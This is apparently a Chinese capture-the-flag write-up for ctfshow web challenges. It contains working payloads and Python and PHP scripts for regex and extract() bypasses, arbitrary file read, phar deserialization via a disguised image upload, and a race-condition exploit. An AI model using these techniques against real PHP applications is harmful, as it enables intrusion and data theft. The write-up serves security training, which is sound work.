ctfshow 大吉大利杯

news2025/1/11 7:14:13

veryphp

看着思路很简单,就是利用post传参和extract函数来给需要的参数赋值,再利用call_user_func调用qwq中的oao静态方法。

感觉最麻烦的就是

preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)

这个正则函数的绕过,传入的一串字符串需要匹配上。

在线网站:regex101: build, test, and debug regex

尝试了一会后得到一串字符:

-a9<b>11111111>>>>aabcphp@Rr2

然后还要绕过_,可以用空格或者[替代。

POST传入:shaw[root=-a9<b>11111111>>>>aabcphp@Rr2

得到

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f&nbsp;&amp;&amp;&nbsp;strlen($SecretNumber)===5

很明显SecretNumber是一个长度为5的数字,爆破出来就好:

<?php
for($i=10000;$i<=99999;$i++)
{
    if(md5("shaw".($i)."root")=='166b47a5cb1ca2431a0edfcef200684f'){
        echo $i;
    }
}

最后的payload:

shaw[root=-a9<b>11111111>>>>aabcphp@Rr2&ans=21475&my[ans=qwq::oao

image-20221208161413441

虎山行

这个题出的有意思,写了好一会。

先访问www.rar下载源码。

Seay自动审计一下,发现33处有问题,一个一个看一下。

image-20221208161745296

在这个地方参数完全可控,后缀也没有.dat,存在任意文件读取漏洞。

访问一下,但没成功,应该是需要成为管理员。

在install.php中发现管理员信息

image-20221208162134986

然后利用漏洞读取一下flag

image-20221208162317866

访问一下ctfshowsecretfilehh

image-20221208162417010

image-20221208162622923

之前看到过文件上传页面,可以上传jpg、png、gif文件,所以可以利用phar反序列化来得到hint.txt。

<?php
class Ctfshow{
    public $ctfer = 'shower';
}
  $a=new Ctfshow();
  $phar = new Phar('phar.phar');
  $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  $phar->setMetadata($a);
  $phar->addFromString('test.txt','dky');
?>

然后改后缀为jpg,上传文件,但发现其并不回显文件名称,且文件名称被修改,所以去读取一下flag.php文件。

<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			$md5_unix_random =substr(md5(time()),0,8);
			$filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
		}
	}
}
else
{
	echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

写个文件上传脚本。

import requests
import time
import hashlib
def geturl(s):
    a = hashlib.md5(str(int(s)).encode()).hexdigest()
    filename = a[:8]
    return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
    url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
    files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
    re1=requests.post(url,files=files)
    a=time.time()
    re2=requests.get(geturl(a))
    if("我的网站" not in  re2.text):
        print(geturl(a))
        break

然后利用phar伪协议读取文件,利用zlib://协议绕过waf:

payload:

?file=zlib:phar:///var/www/html/upload/017ea83e.jpg

又是一个路由:

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

利用条件竞争,在其system命令执行之前访问flag.txt文件,这次有了unserialize函数,不需要再上传文件。

import io
import requests
import threading
def write():
    while True:
        url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/ctfshowgetflaghhhh/"
        resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
    while True:
        r=requests.get('http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/flag.txt')
        if("我的网站" not in r.text):
            print(r.text)
            print('success!!!')
            event.clear()
            break;
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,20): 
            threading.Thread(target=write,args=()).start()
        for i in range(1,20):
            threading.Thread(target=read,args=()).start()
    event.set()

spaceman

非预期了,先看源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

本来这题应该是还有另外一个参数,利用这两个可控参数去字符逃逸,本想本地修改一下再做,但本地extract代码一直无法实现。

paylaod:

user name=1&pass word=ctfshowvip

虎山行’s revenge

改了个名字,直接还用之前的脚本即可。

import requests
import time
import hashlib
def geturl(s):
    a = hashlib.md5(str(int(s)).encode()).hexdigest()
    filename = a[:8]
    return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
    url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
    files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
    re1=requests.post(url,files=files)
    a=time.time()
    re2=requests.get(geturl(a))
    if("我的网站" not in  re2.text):
        print(geturl(a))
        break

payload:

?file=zlib:phar:///var/www/html/upload/f815a59f.jpg
import io
import requests
import threading
def write():
    while True:
        url="http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/hsxctfshowsecretgetflagl/"
        resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
    while True:
        r=requests.get('http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/flag.txt')
        if("我的网站" not in r.text):
            print(r.text)
            print('success!!!')
            event.clear()
            break;
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,20): 
            threading.Thread(target=write,args=()).start()
        for i in range(1,20):
            threading.Thread(target=read,args=()).start()
    event.set()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/75297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaScript进阶教程——包装对象、类型转换、作用域、闭包与模块化

文章目录包装对象类型转换显示转换隐式转换作用域let与const的用法&#xff1a;作用域链闭包与模块化封装包装对象 为什么原始类型可以使用方法和属性&#xff1a; toString()split()length属性 包装对象&#xff1a; new String()new Number()new Boolean() let num 123;…

Linux内存管理之UMA模型和NUMA模型

共享存储型多处理机有两种模型 均匀存储器存取&#xff08;Uniform-Memory-Access&#xff0c;简称UMA&#xff09;模型 (一致存储器访问结构) 非均匀存储器存取&#xff08;Nonuniform-Memory-Access&#xff0c;简称NUMA&#xff09;模型 (非一致存…

大学生阅读小说网页设计模板代码 柏书旧书网带登录表单 注册表单小说书籍网页作业成品 学校书籍网页制作模板 学生简单书籍阅读网站设计成品

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

python Graphillion简介

Graphillion是一个用于高效图集操作的Python库。与NetworkX等现有的图形工具不同&#xff0c;Graphillion被设计为一次只处理一个图形&#xff0c;而Graphillion则非常有效地处理一个大型的图形集。令人惊讶的是&#xff0c;使用Graphillion可以在一台计算机上处理数万亿的图形…

SQL注入漏洞 | sleep型

文章目录前言MySQL sleep型测试数据库名长度数据库名表名列名字段值总脚本文件前言 SQL注入漏洞 | bool型 if(SQL语句,sleep(),null) if()、sleep()的使用 select * from table where id1 and sleep(2) //执行查询id1&#xff0c;同时sleep(2)。浏览器显示数据库返回的结果…

MyBatis Mapper四步走

1. 定义承载结果的Java类充当领域对象&#xff08;不使用MyBatis的内置map&#xff09;。 2.开发Mapper组件&#xff0c;也就是接口XML&#xff08;或注解&#xff09; 3.获取SqlSession&#xff0c;在获取Mapper组件对象。 4.调用Mapper组件的方法操作数据库。 ----------…

CSDN客诉周报第13期|修复3个重大bug,解决10个次要bug,采纳1个用户建议

听用户心声&#xff0c;解用户之需。hello&#xff0c;大家好&#xff0c;这里是《CSDN客诉周报》第13期&#xff0c;接下来就请大家一同回顾我们最近几周解决的bug&#xff5e; 一、重大问题 1、【数据中台】搜索功能失效&#xff0c;无法搜出内容 反馈量&#xff1a;300 …

Linux下的进程类别(内核线程、轻量级进程和用户进程)以及其创建方式

【推荐阅读】 需要多久才能看完linux内核源码&#xff1f; 手把手教你如何编写一个Makefile文件 了解ixgbe网卡驱动— 驱动注册&#xff08;纯代码分享&#xff09; 关于如何快速学好&#xff0c;学懂Linux内核。内含学习路线 Linux内核CPU调度域内容讲解 Linux进程类别 虽然我…

图像处理之《基于生成对抗网络和梯度下降逼近的鲁棒无覆盖隐写术》论文精读

一、相关知识 1、图像隐写术分类 本文对图像隐写术又做了新的分类&#xff0c;可以分为传统图像隐写术、无载体图像隐写术和基于深度学习的图像隐写术。 本文又将基于深度学习的图像隐写术又分为四种&#xff1a;基于嵌入的方法(即将传统的隐写术如LSB与生成模型相结合&…

clickhouse doris 实时OLAP数据库的对比与选型

背景介绍 ClickHouse 是俄罗斯的搜索公司 Yandex 开源的 MPP 架构的分析引擎&#xff0c;号称比事务数据库快 100-1000 倍&#xff0c;团队有计算机体系结构的大牛&#xff0c;最大的特色是高性能的向量化执行引擎&#xff0c;而且功能丰富、可靠性高。 Apache Doris 是由百度…

【SpringBoot图书馆管理系统项目开发教程 1 】项目规划和启动

&#x1f466; 作者简介&#xff1a;码上言 &#x1f947;代表教程&#xff1a; 1、Spring Boot vue-element 开发个人博客项目实战教程 2、基于SpringBoot智能图书馆管理系统项目开发教程 &#x1f4d4;我的文档网站&#xff1a;http://xyhwh-nav.cn/ 基于SpringBoot Vue 的…

Python xlwings模块

一 xlwings安装与功能介绍 使用特定模块前&#xff0c;需要在程序最前面进行模块导入,和JAVA导入依赖包一样。 import 模块名 也可以加上from语句导入特定的子模块(主要是防止某些模块太大影响加载速度&#xff09; from 模块名 import 函数名(也可以用*代表所有) 1.1 os模块 o…

终极 Microsoft 365 管理工具——M365 Manager Plus

由于疫情原因&#xff0c;我们的工作方式也发生了很大的改变&#xff0c;相比以往的办公方式&#xff0c;未来线上远程办公将成为一种全新的方式。但目前对于很多企业来说&#xff0c;施行线上办公模式还面临着很多困难。Microsoft 365是企业最普遍选择的基于云的工作组件&…

文件上传漏洞之upload-labs靶场实战通关

目录 pass-01 pass-02 pass-03 pass-04 pass-06 pass-07 pass-08 pass-09 pass-10 pass-11 pass-12 pass-13 pass-14 pass-15 pass-16 pass-17 pass-18 pass-19 pass-20 pass-21 pass-01 pass-02 前端删除完验证函数后通过burp修改 content-type的类型 pa…

web前端 html+css+javascript 绿色的随行旅游网页设计实例 企业网站制作

&#x1f468;‍&#x1f393;学生HTML静态网页基础水平制作&#x1f469;‍&#x1f393;&#xff0c;页面排版干净简洁。使用HTMLCSS页面布局设计,web大学生网页设计作业源码&#xff0c;这是一个不错的旅游网页制作&#xff0c;画面精明&#xff0c;排版整洁&#xff0c;内容…

Span抽取和元学习能碰撞出怎样的新火花,小样本实体识别来告诉你!

近日&#xff0c;阿里云机器学习平台PAI与华东师范大学高明教授团队、达摩院机器智能技术NLP团队合作在自然语言处理顶级会议EMNLP2022上发表基于Span和元学习的小样本实体识别算法SpanProto。这是一种面向命名实体识别的小样本学习算法&#xff0c;采用两阶段的训练方法&#…

Java StringBuilder

JavaStringBuilder\huge{Java \space StringBuilder}Java StringBuilder 概述 StringBuilderStringBuilderStringBuilder类是一种特殊的可变字符串的操作类&#xff0c;可以把它看做成一种特殊的对象容器。(简单讲的话就是一种特殊的字符串类型) 为什么要使用它&#xff1f; …

1、Spring简介与基于XML的IoC装配

一、Sping简介 1、概述 1、Spring是一个轻量级Java开发框架&#xff0c;最早有Rod Johnson创建&#xff0c;目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。 2、Spring是一个面向对象设计层面的开发框架&#xff08;基本上都是运行在后台&#xff09;&#x…

从入门到进阶,KingbaseES数据库学习资料整理(持续归档中...)

一、安装和卸载 1.安装包 2.安装&卸载 3.安装、移除组件 4.license 5.安装问题 二、系统管理 1.初始化 2.数据库 3.快速开发管理工具 三、应用开发 1.sql 2.plsql 3.扩展和插件 4.接口 四、迁移 1.初始化和配置 2.迁移数据 3.迁移对象 4.迁移的异常处…

Linux网络原理与编程(2)——第十二节 应用层协议(以HTTP为例)

目录 协议 HTTP协议 认识URL HTTP协议的特征 HTTP的构成及报文格式 报文格式 请求方法 常见的Header 状态码 Cookie 我们从本节开始&#xff0c;就来正式地详细介绍网络各个层次的内容。 我们先从最顶端的应用层协议说起。 在说应用层协议之前&#xff0c;我们来思考…